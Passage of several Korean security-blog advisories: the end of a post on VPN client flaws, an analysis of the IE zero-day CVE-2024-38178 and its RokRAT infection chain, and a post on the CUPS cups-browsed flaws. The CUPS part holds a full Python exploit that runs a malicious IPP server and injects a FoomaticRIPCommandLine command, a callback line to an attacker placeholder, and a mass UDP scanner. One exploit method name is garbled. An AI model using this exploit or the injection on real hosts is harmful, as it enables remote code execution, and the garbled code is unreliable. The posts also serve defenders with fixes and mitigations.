- Portal 인증 응답의 version 태그가 현재 설치된 버전보다 높은 경우
> 클라이언트는 Portal에 업데이트를 요청
> 서버는 클라이언트의 OS와 아키텍처에 맞는 적절한 설치 프로그램으로 302 응답
uninstall - 업그레이드가 관리되는 방식을 설정
> Allow with Prompt (Default) : 새 버전이 확인될 경우 업데이트 메시지 표시
> Allow Transparently : 사용자 상호 작용 없이 자동으로 업데이트 발생
> Internal : 사용자가 내부 네트워크에서 연결되어 있는 경우에만 사용자 상호 작용 없이 업그레이드되며, 내부 GW와 내부 호스트 감지를 구성해야 함 (외부 네트워크에서 연결된 경우 업그레이드 연기)
> Disallow : 업데이트 차단
> Allow Manually : "버전 확인"을 선택해 세 버전이 있는 경우 사용자 판단하 수동 업데이트 적용
client-upgrade - transparent로 설정된 경우 사용자 위치와 동의와 관계없이 자동 업데이트

 

[사진 6] 응답 예시

 

- 공격 성공 조건과 성공 시 가능한 악성 행위는 다음과 같음

구분 설명
공격 성공 조건 - 서버 인증서 : 공인 인증 기관에서 서명한 포털용 인증서
- 사용자 지정 루트 인증 기관(CA) : 로컬에서 생성된 CA PEM 파일이 클라이언트에 제공되어 신뢰할 수 있는 인증서 저장소에 설치
- 코드 서명 인증서 : 사용자 지정 CA가 악성 MSI에 서명하기 위해 서명한 인증서
성공 시 가능한 악성 행위 - 자격 증명 공개 : 사용자가 입력한 인증 세부 정보 수집
- 사기성 루트 인증 기관 설치 : 중간자 공격(MITM)이나 코드 서명과 같은 추가 공격이 가능
- 라우팅 구성 조작 : 네트워크 트래픽을 제어하기 위해 악의적인 라우팅 설정
- 악성 업데이트 요청 : 신뢰할 수 있는 기관에서 서명한 MSI를 가져와서 실행하도록 클라이언트를 트리거

 

[영상 2] Windows 환경 공격 시연 [7]
[영상 3] macOS 환경 공격 시연 [8]

3. 대응방안

- 벤더사 제공 업데이트 적용 [9][10]

취약점 제품명 영향받는 버전 해결 버전
CVE-2024-29014 NetExtender Windows (32 and 64 bit) 10.2.339 및 이전 버전 10.2.341 및 이후 버전
CVE-2024-5921 GlobalProtect 6.2.6 이전 버전 6.2.6
(또는 VPN 클라이언트를 FIPS-CC 모드에서 실행)

 

- NachoVPN 툴 활용 [11]

> 개념 증명용 오픈소스 기반 도구로, 악성 VPN 서버를 시뮬레이션할 수 있음

> Cisco AnyConnect, SonicWall NetExtender, Palo Alto GlobalProtect, Ivanti Connect Secure 등의 VPN 제품 지원

 

- 권고사항

> SSL-VPN 클라이언트를 최신 버전으로 업데이트

> 호스트 기반 방화벽 규칙을 사용해 VPN 클라이언트가 통신할 수 있는 IP 제한

> WDAC, EDR 등을 사용해 VPN 클라이언트가 승인된 실행 파일과 스크립트만 실행할 수 있도록 설정

> 소셜 엔지니어링 공격 관련 사용자 교육

> 다중 인증 적용 등

4. 참고

[1] https://blog.amberwolf.com/blog/2024/november/introducing-nachovpn---one-vpn-server-to-pwn-them-all/
[2] https://blog.amberwolf.com/blog/2024/november/sonicwall-netextender-for-windows---rce-as-system-via-epc-client-update-cve-2024-29014/
[3] https://blog.amberwolf.com/blog/2024/november/palo-alto-globalprotect---code-execution-and-privilege-escalation-via-malicious-vpn-server-cve-2024-5921/
[4] https://nvd.nist.gov/vuln/detail/CVE-2024-29014
[5] https://vimeo.com/1024774407
[6] https://nvd.nist.gov/vuln/detail/CVE-2024-5921
[7] https://vimeo.com/1024774239
[8] https://vimeo.com/1024773987
[9] https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2024-0011
[10] https://security.paloaltonetworks.com/CVE-2024-5921
[11] https://github.com/AmberWolfCyber/NachoVPN
[12] https://www.dailysecu.com/news/articleView.html?idxno=161574

1. 개요

- 24.05 무료 S/W의 팝업(Toast) 광고 프로그램을 악용한 TA- RedAnt의 대규모 공격이 탐지 [1]
- IE의 자바스크립트 엔진(jscript9.dll)에 존재하는 제로데이 취약점 악용
- 22년 악용한 IE의 Type Confusion 취약점(CVE-2022-41128)에 간단한 코드를 추가하여 보안 패치를 우회

 

1.1 Chakra

- MS에서 제작한 웹 브라우저의 자바스크립트 엔진
> 웹 브라우저는 HTML, CSS, JavaScript 등의 언어로 작성코드를 사람이 읽을 수 있는 문서로 출력하는 프로그램
> 웹 브라우저에서 자바스크립트 코드를 해석하고 실행하는 역할을 수행

구분 이름
IE 11.0 이하 버전 legacy Chakra engine(jscript9.dll)
Edge Legacy 브라우저 new Chakra engine or Edge engine(Chakra.dll)

1.1.1 동작 과정

- 웹 브라우저에서는 JavaScript의 동작을 위해 자체 엔진을 포함하고 있으며, 빠른 실행을 위해 JIT(Just-In-Time) Compilation 방식을 사용
- MS Chakra에서 JavaScript로 작성된 코드가 실행되는 과정

구분 설명
Parsing 소스코드를 파싱하여 Abstract Syntax Tree(AST)를 생성
※ Abstract Syntax Tree(AST) : 소스코드의 구조를 트리 형태로 나타낸 자료구조
Interpreting - AST는 바이트코드(Bytecode)로 변환되어 인터프리터에 의해 실행
- 실행 중인 함수의 데이터 유형 및 호출 횟수와 같은 정보를 분석해 함수의 프로파일을 생성
Compilation - 생성된 프로파일을 바탕으로 최적화된 기계코드인 JIT’ed code 생성
※ 인터프리터에서 여러 번 호출되는 코드가 탐지되면 바이트코드를 실행하는 대신 JIT’ed code를 실행해 프로그램 동작 속도를 향상 시킴

 

- JavaScript엔진에서는 여러 번 호출되는 코드를 따로 관리

구분 설명
Hot - 자주 반복되는 코드
- 코드가 Hot으로 탐지되면 엔진은 해당 코드를 스텁코드(Stub Code)로 변환
- 이후 바이트코드를 실행하지 않고 미리 생성한 스텁코드를 사용하여 실행 속도를 향상
Warm 덜 자주 반복되는 코드

 

1.2 Toast 광고

- 다양한 무료 S/W와 함께 설치되어 동작
> 실행 시 광고서버로부터 광고 컨텐츠를 다운받아 PC 화면 우측 하단에 광고창 표시
> 서버는 광고 컨텐츠가 포함된 HTML과 JavaScript로 응답
> Toast 광고 프로그램은 응답값을 IE 브라우저 또는 IE 관련 모듈로 랜더링하여 팝업 광고창을 띄움

2. 주요내용

2.1 CVE-2024-38178

[사진 1] CVE-2024-38178 [2]

- Windows Scripting Engine에서 발생하는 Type Confusion 취약점으로 메모리 손상을 유발해 원격 명령 실행을 가능하게 함
> jscript9.dll에서 발생하는 Type Confusion 취약점

※ Type Confusion 취약점 : 프로그램에서 사용하는 변수나 객체를 선언 혹은 초기화되었을 때와 다른 타입으로 사용할 때 발생하는 취약점

스텁코드는 Type Confusion 문제가 발생할 수 있음
- 매개변수로 정수형 변수를 입력받는 함수가 있으며, 메인에서 100번 호출된다고 가정
> 엔진에서는 Hot으로 간주하여 정수형 변수를 전달받는 스텁코드로 변환
> 그 결과, 해당 변수의 데이터 유형을 정수로 예측
> 이 때, 매개변수를 정수가 아닌 다른 데이터 유형으로 전달할 경우 Type Confusion 발생

 

2.2 상세분석

[사진 2] iframe이 삽입된 HTML

- 해커는 국내 광고 대행사 중 한 업체의 광고 서버를 해킹
Toast 광고 프로그램에 전달되는 HTML 코드에 iframe을 삽입하여 경유지를 통해 JavaScript가 로드 되도록 변조
> 해당 JavaScript 파일명은 ad_toast이며 IE(JScript9.dll)의 RCE 취약점이 발현되는 코드가 삽입
> 피해자 PC에 설치된 Toast 광고 프로그램은 취약점 코드를 받아 랜더링하는 과정에서 Exploit 및 해커의 쉘 코드로 실행 흐름이 바뀜

 

[사진 3] CVE-2024-38178 Exploit

- 해커는 과거 악용했던 CVE-2022-41128(Windows 스크립트 언어 RCE [4]) Exploit 코드에 단 3줄을 추가해 기존 패치 우회

ex_func(false, false)를 반복 호출하여 JIT 컴파일러의 최적화 오류를 유도한 뒤 인자를 true로 바꿔 호출

 

- "q=g" 연산으로 Type Confusion 발생 

> 정수 배열로 초기화된 변수 q에 변수 g가 가리키는 데이터를 참조하면 변수 q의 Type이 Object로 변경
> 하지만, JIT 컴파일러의 최적화 오류로 인해 Type을 계속해서 정수 배열로 판단

 

이후 q[4], q[11], q[12]의 값을 0x1FFFFFFF로 변경

> 변경하는 이유는 해당 값이 배열 av의 Type(Js::JavascriptNativeIntArray)과 관련
> 변경한 값은 순서대로 배열 av의 Array Length, Array Actual Length, Buffer Length 항목
> 배열의 길이를 조작하면 Object Dataview를 사용하여 임의의 메모리 영역에 대한 읽기 및 쓰기가 가능하게 되어 임의 코드를 실행할 수 있음

※ JIT 컴파일러의 배열 최적화 과정에서 초기화된 변수로 착각하게 만드는 방법을 이용해 CVE-2022-41128의 패치를 우회

 

[사진 4] 패치

- 해당 취약점은 MS 8월 보안업데이트에서 패치 [4]

> wil::details::FeatureImpl<_ _WilFeatureTraits_Feature_1489045819>::_ _private_ IsEnabled(&`wil::Feature<_ _WilFeatureTraits_Feature_1489045819>::GetImpl’::`2 ’::impl); 함수가 추가
> 해당 함수의 결과 값에 따라 변수 초기화 여부를 검증하는 분기로 진입
> 진입 후 ValueType 클래스에서 정의된 연산자를 통해 두 개의 정수형 값 비교 과정 추가
> 두 Type을 비교해 값이 다를 경우 SetValueType 함수를 호출하여 Type을 일치시키는 추가적인 과정이 수행

 

2.3 악성코드 유포

- 과거부터 꾸준히 사용해온 RokRAT 악성코드를 유포하며 공격 흐름은 아래와 같음
> Ruby를 사용하여 악성 행위 지속성 확보 및 상용 클라우드 서버를 통해 명령제어를 수행

실행 단계 설명
1차 악성코드(43) 다운로드 및
explorer.exe에 인젝션
실행 PC의 파일·프로세스를 확인하여 분석 환경인지 탐지
> 악성코드 43은 첫 1바이트로 XOR 후 실행되는 쉘코드
> 분석 환경이 아니라고 판단되면 경유지에 접속해 2차 악성코드 다운 및 실행
2차 악성코드(23) 다운로드 및 실행 컴퓨터 이름 등 시스템 정보를 수집하고 추가 감염 여부 선별
> 악성코드 23은 첫 1바이트로 XOR 후 In-Memory로 실행되는 PE 형태
> 시스템 정보를 경유지로 전송하고, 응답에 따라 3차 악성코드 다운 및 실행
3차 악성코드(move) 다운로드 및 실행 후
추가 파일 다운로드
악성 스크립트를 삽입한 ruby standalone 드롭 및 악성 행위 지속성 확보
> 악성코드 move는 첫 1바이트로 XOR 후 In-Memory로 실행되는 PE 형태
> 2차 경유지는 원드라이브 1개와 국내 정상 사이트 2개가 악성코드 내부에 하드코딩
> 지속성 확보를 위해 자동실행 되도록 설정 (주기적 실행 또는 PC 부팅 시 실행)
system32 폴더 내 exe 무작위 선택 후
실행 및 인젝션
PC에 설치된 백신(AVAST·SYMANTEC)을 확인하여 다르게 동작
> 현재 실행중인 프로세스 명에 "UBY"가 있는지 확인 후 설치된 백신에 따라 동작 결정
> AVAST·SYMANTEC : 현재 프로세스에서 In-Memory 방식으로 실행
> 그 외 백신 : system32 폴더에 있는 랜덤 EXE에 인젝션하여 실행
system32 폴더 내 exe 무작위 선택 후
실행 및 인젝션
PC에 설치된 백신(AVAST·SYMANTEC)을 확인하여 다르게 동작
> 프로세스의 자체 종료를 막기 위해 ExitProcess 함수를 후킹 및 함수 인자 및 설치된 백신에 따라 동작 결정
> 인자가 0xAC가 아닐 경우 대기 상태, 0xAC일 경우 후킹을 복원
> AVAST·SYMANTEC : rubyw. exe를 재실행
> 그 외 백신 : system32 폴더에 있는 랜덤 EXE에 인젝션하여 실행
In-Memory로 RokRAT 실행 상용 클라우드(얀덱스 등)를 경유지로 명령제어를 수행하여 PC 정보 절취
> 윈도우 프로시저에서 수신되는 메시지를 기반으로 해당 핸들러에서 악성 행위를 수행

 

구분 MD5
ad_toast e11bb2478930d0b5f6c473464f2a2B6e
43 b9d4702c1b72659f486259520f48b483
23 b18a8ea838b6760f4857843cafe5717d
MOVE da2a5353400bd5f47178cd7dae7879c5
ban04.bak(top_08.bak,content) bd2d599ab51f9068d8c8eccadaca103d
operating_system.rb 감염 PC마다 다름
1차 로더
2차 로더
RokRAT

 

2.4 결론

- MS는 22.06 IE 지원 종료 발표 및 최신 Window OS는 IE가 웹 브라우저로 사용되는 것을 제한하는 등의 조치
> 과거에 비해 워터링홀 공격의 가능성은 희박해짐
> 그러나, 일부 Window 어플리케이션들은 IE를 내장하거나 관련 모듈을 사용해 공격 벡터로 악용될 수 있음
> OS 및 SW 등의 보안 업데이트를 준수하고, 제조사들은 제품 개발 시 보안에 취약한 개발 라이브러리 및 모듈 등이 사용되지 않도록 주의 필요

3. 참고

[1] https://www.ncsc.go.kr:4018/main/cop/bbs/selectBoardArticle.do?bbsId=SecurityAdvice_main&nttId=164037&menuNo=020000&subMenuNo=020200&thirdMenuNo=
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-38178
[3] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=ms&menuNo=205020&pageIndex=1&categoryCode=&nttId=71524
[4] https://nvd.nist.gov/vuln/detail/CVE-2022-41128
[5] https://www.scworld.com/brief/windows-zero-day-leveraged-for-rokrat-malware-delivery
[6] https://thehackernews.com/2024/10/north-korean-scarcruft-exploits-windows.html
[7] https://thehackernews.com/2024/08/microsoft-issues-patches-for-90-flaws.html
[8] https://www.scworld.com/news/microsoft-patches-9-zero-days-6-exploited-in-the-wild
[9] https://www.boannews.com/media/view.asp?idx=132049
[10] https://www.dailysecu.com/news/articleView.html?idxno=160314
[11] https://www.boannews.com/media/view.asp?idx=133660

1. CUPS(Common Unix Printing System) [1]

- 유닉스 계열 표준 인쇄 시스템

- CUPS는 0.0.0.0:631(UDP)에서 수신 대기중

>  IP가 0.0.0.0인 것은 모든 네트워크 인터페이스에서 수신을 대기라고 응답한다는 것을 의미

[사진 1] netstat -anu

- cups-browsed는 CUPS 시스템의 일부로, 새로운 프린터를 발견하고 자동으로 시스템에 추가해줌

> root로 실행

> /etc/cups/cups-browsed.conf를 설정하여 접근 가능 여부를 설정할 수 있음

[사진 2] cups-browsed

2.취약점 [2]

- CUPS의 cups-browsed 데몬에서 발생하는 취약점

> 공격자가 취약점을 연계하여 악용할 경우 네트워크를 통해 악성 프린터를 추가하고, 사용자가 인쇄 작업을 시작할 때 임의의 코드를 실행할 수 있음

 

- Akamai의 연구에 따르면 DDoS 공격에 활용될 경우 600배 증폭될 수 있음을 확인 [3]

> 공격자가 CUPS 서버를 속여 대상 장치를 추가할 프린터로 처리하도록 할 때 발생
> 취약한 CUPS 서버로 전송된 각 패킷은 대상 장치를 겨냥한 더 큰 IPP/HTTP 요청을 생성
> 공격 대상과 CUPS 서버 모두에 대역폭과 CPU 리소스 소모를 유발

[사진 3] Shodan title:"CUPS" 검색 결과

서비스명 영향받는 버전
cups-browsed 2.0.1 이하
libcupsfilters 2.1b1 이하
libppd 2.1b1 이하
cups-filters 2.0.1 이하

 

2.1 주요내용

2.1.1 CVE-2024-47176

- CUPS의 cups-browsed는 631포트로 모든 네트워크 인터페이스의 모든 패킷을 신뢰([사진 1] 0.0.0.0:631)

> 공격자는 자신이 제어하는 IPP 서버(이하 악성 IPP 서버)를 시작한 다음 대상 시스템으로 UDP 패킷 전송

> 피해 시스템이 공격자가 제어하는 IPP 서버에 다시 연결되고 User-Agent 헤더에 CUPS 및 커널 버전 정보가 공개됨

0 3 hxxp://<ATACKER-IP>:<PORT>/printers/whatever

[사진 4] CVE-2024-47176 [4]

2.1.2 CVE-2024-47076

- 피해 시스템은 악성 IPP 서버에 프린터 속성을 요청하며 악성 IPP 서버는 기본 프린터 속성을 전송

> libcupsfilters.cfGetPrinterAttributes()반환된 IPP 속성을 검증하거나 정리하지 않고 반환된 IPP 속성을 기반으로 임시 PPD 파일을 생성

※ libcupsfilters: 프린터 애플리케이션에서 필요한 데이터 형식 변환 작업에 사용되는 라이브러리 함수
※ PostScript Printer Description (PPD): PostScript 프린터의 설정 정보뿐만 아니라 일련의 PostScript 명령 코드도 포함

[사진 5] CVE-2024-47076 [5]

2.1.3 CVE-2024-47175

- 공격자는 FoomaticRIPCommandLine을 통해 PPD 파일에 악성 코드 주입

> libppd.ppdCreatePPDFromIPP2()는 임시 PPD 파일에 IPP 속성을 쓸 때 IPP 속성을 검증하거나 정리하지 않아 공격자가 제어하는 ​​데이터를 PPD 파일에 주입할 수 있음

*FoomaticRIPCommandLine : "echo 1 > /tmp /PWNED" // 명령 줄 삽입
*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip // CUPS가 /usr /lib/cups/filter/foomatic -rip(FoomaticRIPCommandLine 사용)을 실행하도록 지시

[사진 6] CVE-2024-47175 [6]

2.1.4 CVE-2024-47177

- cups-filters.foomatic-rip은 FoomaticRIPCommandLine 지시문을 통해 임의의 명령 실행을 허용

> foomatic-rip 필터는 FoomaticRIPCommandLine 지시문을 통해 임의의 명령을 실행할 수 있으며, 관련 취약점(CVE-2011-2697, CVE-2011-2964)이 존재하지만 2011년 이후 패치되지 않음

※ CUPS 개발자 문의 결과 수정이 매우 어렵고, Foomatic을 통해서만 지원되는 오래된 프린터 모델이 있기 때문으로 답변 받음

※ cups-filters: CUPS 2.x가 Mac OS가 아닌 시스템에서 사용할 수 있는 백엔드, 필터 및 기타 소프트웨어를 제공

[사진 7] CVE-2024-47177 [7]
[사진 8] 취약점 요약 [8]

2.2 PoC [9]

- 공격자가 제어하는 IPP 서버 정보(def send_browsed_packet) 및 FoomaticRIPCommandLine 지시문을 통한 원격 명령 실행(def printer_list_attributes)

#!/usr/bin/env python3
import socket
import threading
import time
import sys


from ippserver.server import IPPServer
import ippserver.behaviour as behaviour
from ippserver.server import IPPRequestHandler
from ippserver.constants import (
    OperationEnum, StatusCodeEnum, SectionEnum, TagEnum
)
from ippserver.parsers import Integer, Enum, Boolean
from ippserver.request import IppRequest


class MaliciousPrinter(behaviour.StatelessPrinter):
    def __init__(self, command):
        self.command = command
        super(MaliciousPrinter, self).__init__()

    def printer_list_attributes(self):
        attr = {
            # rfc2911 section 4.4
            (
                SectionEnum.printer,
                b'printer-uri-supported',
                TagEnum.uri
            ): [self.printer_uri],
            (
                SectionEnum.printer,
                b'uri-authentication-supported',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'uri-security-supported',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'printer-name',
                TagEnum.name_without_language
            ): [b'Main Printer'],
            (
                SectionEnum.printer,
                b'printer-info',
                TagEnum.text_without_language
            ): [b'Main Printer Info'],
            (
                SectionEnum.printer,
                b'printer-make-and-model',
                TagEnum.text_without_language
            ): [b'HP 0.00'],
            (
                SectionEnum.printer,
                b'printer-state',
                TagEnum.enum
            ): [Enum(3).bytes()],  # XXX 3 is idle
            (
                SectionEnum.printer,
                b'printer-state-reasons',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'ipp-versions-supported',
                TagEnum.keyword
            ): [b'1.1'],
            (
                SectionEnum.printer,
                b'operations-supported',
                TagEnum.enum
            ): [
                Enum(x).bytes()
                for x in (
                    OperationEnum.print_job,  # (required by cups)
                    OperationEnum.validate_job,  # (required by cups)
                    OperationEnum.cancel_job,  # (required by cups)
                    OperationEnum.get_job_attributes,  # (required by cups)
                    OperationEnum.get_printer_attributes,
                )],
            (
                SectionEnum.printer,
                b'multiple-document-jobs-supported',
                TagEnum.boolean
            ): [Boolean(False).bytes()],
            (
                SectionEnum.printer,
                b'charset-configured',
                TagEnum.charset
            ): [b'utf-8'],
            (
                SectionEnum.printer,
                b'charset-supported',
                TagEnum.charset
            ): [b'utf-8'],
            (
                SectionEnum.printer,
                b'natural-language-configured',
                TagEnum.natural_language
            ): [b'en'],
            (
                SectionEnum.printer,
                b'generated-natural-language-supported',
                TagEnum.natural_language
            ): [b'en'],
            (
                SectionEnum.printer,
                b'document-format-default',
                TagEnum.mime_media_type
            ): [b'application/pdf'],
            (
                SectionEnum.printer,
                b'document-format-supported',
                TagEnum.mime_media_type
            ): [b'application/pdf'],
            (
                SectionEnum.printer,
                b'printer-is-accepting-jobs',
                TagEnum.boolean
            ): [Boolean(True).bytes()],
            (
                SectionEnum.printer,
                b'queued-job-count',
                TagEnum.integer
            ): [Integer(666).bytes()],
            (
                SectionEnum.printer,
                b'pdl-override-supported',
                TagEnum.keyword
            ): [b'not-attempted'],
            (
                SectionEnum.printer,
                b'printer-up-time',
                TagEnum.integer
            ): [Integer(self.printer_uptime()).bytes()],
            (
                SectionEnum.printer,
                b'compression-supported',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'printer-privacy-policy-uri',
                TagEnum.uri
            ): [b'https://www.google.com/"\n*FoomaticRIPCommandLine: "' +
                self.command.encode() +
                b'"\n*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip'],

        }
        attr.update(super().minimal_attributes())
        return attr

    def ](self, req, _psfile):
        print("target connected, sending payload ...")
        attributes = self.printer_list_attributes()
        return IppRequest(
            self.version,
            StatusCodeEnum.ok,
            req.request_id,
            attributes)


def send_browsed_packet(ip, port, ipp_server_host, ipp_server_port):
    print("sending udp packet to %s:%d ..." % (ip, port))

    printer_type = 0x00
    printer_state = 0x03
    printer_uri = 'http://%s:%d/printers/NAME' % (
        ipp_server_host, ipp_server_port)
    printer_location = 'Office HQ'
    printer_info = 'Printer'

    message = bytes('%x %x %s "%s" "%s"' %
                    (printer_type,
                     printer_state,
                     printer_uri,
                     printer_location,
                     printer_info), 'UTF-8')

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.sendto(message, (ip, port))


def wait_until_ctrl_c():
    try:
        while True:
            time.sleep(300)
    except KeyboardInterrupt:
        return


def run_server(server):
    print('malicious ipp server listening on ', server.server_address)
    server_thread = threading.Thread(target=server.serve_forever)
    server_thread.daemon = True
    server_thread.start()
    wait_until_ctrl_c()
    server.shutdown()


if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("%s <LOCAL_HOST> <TARGET_HOST>" % sys.argv[0])
        quit()

    SERVER_HOST = sys.argv[1]
    SERVER_PORT = 12345

    command = "echo 1 > /tmp/I_AM_VULNERABLE"

    server = IPPServer((SERVER_HOST, SERVER_PORT),
                       IPPRequestHandler, MaliciousPrinter(command))

    threading.Thread(
        target=run_server,
        args=(server, )
    ).start()

    TARGET_HOST = sys.argv[2]
    TARGET_PORT = 631
    send_browsed_packet(TARGET_HOST, TARGET_PORT, SERVER_HOST, SERVER_PORT)

    print("wating ...")

    while True:
        time.sleep(1.0)

 

[영상 1] 시연 영상

3. 대응방안

- 아직까지 취약점이 해결된 버전이 배포되지 않음 [10]

① CUPS 실행 여부 및 패키지 버전 확인

 ⒜ $ sudo systemctl status cups-browsed

   > 명령 출력 결과가 “Active: inactive (dead)” 포함된 경우 취약점에 영향받지 않음

   > 명령 출력 결과가 “Active: active (running)”이고, 구성 파일 /etc/cups/cups-browsed.conf의 "BrowseRemoteProtocols" 지시문에 "cups" 값이 포함되어 있는 경우
 ⒝ dpkg -l | grep -E 'cups-browsed|cups-filters|libcupsfilters|libppd'

   > CUPS 관련 패키지들의 설치 여부와 버전 정보를 확인하는 명령

 

② cups-browsed 서비스 비활성화 (사용하지 않을 경우)

> $ sudo systemctl stop cups-browsed; sudo systemctl disable cups-browsed

> stop: 단순 중지 / disable: 시스템 부팅 시 자동으로 시작되지 않도록 설정

 

③ 방화벽 설정 강화

> $ sudo ufw deny proto udp from any to any port 631

 

④ 취약 여부를 확인할 수 있는 스캐너 활용 [11]

 ⒜ 동작 과정

   > 기본 HTTP 서버를 설정(RCE 취약점을 악용하지 않으므로 프린터로 식별할 필요가 없음)
   > cups-browsed을 통해 HTTP 서버에 연결하도록 지시하는 UDP 패킷 생성
   > 포트 631의 주어진 범위에 있는 모든 IP로 UDP 패킷 전송
   > 취약한 cups-browsed 인스턴스로 인해 트리거되는 모든 POST 요청을 /printers/ 엔드포인트에 기록합니다. 

 ⒝ 결과

   > 스캔 결과는 총 2개의 Log에 기록

   > cups.log_응답한 장치의 IP&CUOS 버전 정보 기록

   > requests.log_심층 분석에 사용할 수 있는 수신한 원시 HTTP 요청이 기록

#!/usr/bin/env python3
import socket
import ipaddress
import argparse
import threading
import time
import signal
import sys
import os
from http.server import BaseHTTPRequestHandler, HTTPServer


# a simple function to enable easy changing of the timestamp format
def timestamp():
    return time.strftime("%Y-%m-%d %H:%M:%S")


# custom class for handling HTTP requests from cups-browsed instances
class CupsCallbackRequest(BaseHTTPRequestHandler):
    # replace default access log behavior (logging to stderr) with logging to access.log
    # log format is: {date} - {client ip} - {first line of HTTP request} {HTTP response code} {client useragent}
    def log_message(self, _format, *_args):
        log_line = f'[{timestamp()}] {self.address_string()} - {_format % _args} ' \
                   f'{self.headers["User-Agent"]}\n'
        self.server.access_log.write(log_line)
        self.server.access_log.flush()

    # log raw requests from cups-browsed instances including POST data
    def log_raw_request(self):
        # rebuild the raw HTTP request and log it to requests.log for debugging purposes
        raw_request = f'[{timestamp()}]\n'
        raw_request += f'{self.requestline}\r\n'
        raw_request += ''.join(f"{key}: {value}\r\n" for key, value in self.headers.items())

        content_length = int(self.headers.get('Content-Length', 0))
        if content_length > 0:
            raw_body = self.rfile.read(content_length)
            self.server.request_log.write(raw_request.encode('utf-8') + b'\r\n' + raw_body + b'\r\n\r\n')
        else:
            self.server.request_log.write(raw_request.encode('utf-8'))

        self.server.request_log.flush()

    # response to all requests with a static response explaining that this server is performing a vulnerability scan
    # this is not required, but helps anyone inspecting network traffic understand the purpose of this server
    def send_static_response(self):
        self.send_response(200, 'OK')
        self.send_header('Content-Type', 'text/plain')
        self.end_headers()
        self.wfile.write(b'This is a benign server used for testing cups-browsed vulnerability CVE-2024-47176')

    # handle GET requests (we don't need to but returning our default response helps anyone investigating the server)
    def do_GET(self):
        self.send_static_response()

    # handle POST requests, cups-browsed instances should send post requests to /printers/ and /printers/<callback_url>
    def do_POST(self):
        # we'll just grab all requests starting with /printers/ to make sure we don't miss anything
        # some systems will check /printers/ first and won't proceed to the full callback url if response is invalid
        if self.path.startswith('/printers/'):
            ip, port = self.client_address

            # log the cups-browsed request to cups.log and requests.logs and output to console
            print(f'[{timestamp()}] received callback from vulnerable device: {ip} - {self.headers["User-Agent"]}')
            self.server.cups_log.write(f'[{timestamp()}] {ip}:{port} - {self.headers["User-Agent"]} - {self.path}\n')
            self.server.cups_log.flush()
            self.log_raw_request()

        self.send_static_response()


# custom class for adding file logging capabilities to the HTTPServer class
class CupsCallbackHTTPServer(HTTPServer):
    def __init__(self, server_address, handler_class, log_dir='logs'):
        super().__init__(server_address, handler_class)
        # create 'logs' directory if it doesn't already exist
        log_dir = 'logs'
        if not os.path.exists(log_dir):
            os.makedirs(log_dir)

        # create three separate log files for easy debugging and analysis
        # access.log    - any web requests
        # cups.log      - ip, port, useragent, and request URL for any request sent to CUPS endpoint
        # requests.log  - raw HTTP headers and POST data for any requests sent to the CUPS endpoint (for debugging)
        self.access_log = open(f'{log_dir}/access.log', 'a')
        self.request_log = open(f'{log_dir}/requests.log', 'ab')
        self.cups_log = open(f'{log_dir}/cups.log', 'a')

    def shutdown(self):
        # close all log files on shutdown before shutting down
        self.access_log.close()
        self.request_log.close()
        self.cups_log.close()
        super().shutdown()


# start the callback server to so we can receive callbacks from vulnerable cups-browsed instances
def start_server(callback_server):
    host, port = callback_server.split(':')
    port = int(port)

    if port < 1 or port > 65535:
        raise RuntimeError(f'invalid callback server port: {port}')

    server_address = (host, port)
    _httpd = CupsCallbackHTTPServer(server_address, CupsCallbackRequest)
    print(f'[{timestamp()}] callback server running on port {host}:{port}...')

    # start the HTTP server in a separate thread to avoid blocking the main thread
    server_thread = threading.Thread(target=_httpd.serve_forever)
    server_thread.daemon = True
    server_thread.start()

    return _httpd


def scan_range(ip_range, callback_server, scan_unsafe=False):
    # the vulnerability allows us to add an arbitrary printer by sending command: 0, type: 3 over UDP port 631
    # we can set the printer to any http server as long as the path starts with /printers/ or /classes/
    # we'll use http://host:port/printers/cups_vulnerability_scan as our printer endpoint
    udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    udp_callback = f'0 3 http://{callback_server}/printers/cups_vulnerability_scan'.encode('utf-8')

    # expand the CIDR notation into a list of IP addresses
    # make scanning only host addresses the default behavior (exclude the network and broadcast address)
    # the user can override this with flag --scan-unsafe
    if scan_unsafe:
        ip_range = list(ipaddress.ip_network(ip_range))
    else:
        ip_range = list(ipaddress.ip_network(ip_range).hosts())

    if len(ip_range) < 1:
        raise RuntimeError("error: invalid ip range")

    print(f'[{timestamp()}] scanning range: {ip_range[0]} - {ip_range[-1]}')

    # send the CUPS command to each IP on port 631 to trigger a callback to our callback server
    for ip in ip_range:
        ip = str(ip)
        udp_socket.sendto(udp_callback, (ip, 631))


# handle CTRL + C abort
def signal_handler(_signal, _frame, _httpd):
    print(f'[{timestamp()}] shutting down server and exiting...')
    _httpd.shutdown()
    sys.exit(0)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(
        prog='python3 scanner.py',
        description='Uses the callback mechanism of CVE-2024-47176 to identify vulnerable cups-browsed instances',
        usage='python3 scanner.py --targets 192.168.0.0/24 --callback 192.168.0.1:1337'
    )

    parser.add_argument('--callback', required=True, dest='callback_server',
                        help='the host:port to host the callback server on (must be reachable from target network) '
                             'example: --callback 192.168.0.1:1337')

    parser.add_argument('--targets', required=True, dest='target_ranges',
                        help='a comma separated list of ranges '
                             'example: --targets 192.168.0.0/24,10.0.0.0/8')

    parser.add_argument('--scan-unsafe', required=False, default=False, action='store_true', dest='scan_unsafe',
                        help='Typically the first and last address in a CIDR are reserved for the network address and '
                             'broadcast address respectively. By default we do not scan these as they should not be '
                             'assigned. However, you can override this behavior by setting --scan-unsafe')

    args = parser.parse_args()

    try:
        # start the HTTP server to captures cups-browsed callbacks
        print(f'[{timestamp()}] starting callback server on {args.callback_server}')
        httpd = start_server(args.callback_server)

        # register sigint handler to capture CTRL + C
        signal.signal(signal.SIGINT, lambda _signal_handler, frame: signal_handler(signal, frame, httpd))

